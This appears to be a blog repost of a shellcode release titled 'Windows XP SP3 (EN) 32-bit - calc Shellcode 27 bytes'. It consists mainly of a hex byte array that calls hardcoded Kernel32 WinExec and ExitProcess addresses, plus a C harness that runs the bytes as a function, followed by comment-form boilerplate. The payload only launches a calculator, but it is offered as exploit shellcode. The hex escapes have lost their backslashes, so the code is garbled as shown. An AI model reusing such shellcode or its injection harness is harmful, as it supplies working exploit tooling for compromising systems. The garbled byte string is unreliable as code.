27 Bytes – Windows XP SP3 (en) calc win32 Shellcode

/*

==========================================================================
       ___       _ __        __                __    _     __
  ____/ (_)___ _(_) /_____ _/ /     ___  _____/ /_  (_)___/ /___  ____ _
 / __  / / __ `/ / __/ __ `/ /_____/ _ / ___/ __ / / __  / __ / __ `/
/ /_/ / / /_/ / / /_/ /_/ / /_____/  __/ /__/ / / / / /_/ / / / / /_/ /
__,_/_/__, /_/__/__,_/_/      ___/___/_/ /_/_/__,_/_/ /_/__,_/
       /____/                          http://www.digital-echidna.org

==========================================================================

Title     : Windows XP SP3 (EN) 32-bit - calc Shellcode 27 bytes
Author    : otoy
Tested on : WinXP Pro SP3 (EN) 32 bit
Greetz    :
say hello to all digital-echidna org crew:
   modpr0be, bean, s3o, d00m, n0rf0x, fm, gotechidna, manix

special thx to offsec, exploit-db and corelan team */

/*shellcodetest.c*/ 

char code[] =
"x31xc0x50x68x63"
"x61x6cx63x89xe3"
"x50x53xbb"
"xfdx29x86x7c" /*Kernel32.dll.WinExec*/
"xffxd3x50xbb"
"xfaxcax81x7c" /*Kernel32.dll.ExitProcess*/
"xffxd3";

int main(int argc, char **argv)
{
	int (*func)();
	func = (int (*)()) code;
	(int)(*func)();
}

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

About Hanny Haliwela

try to be or not try to be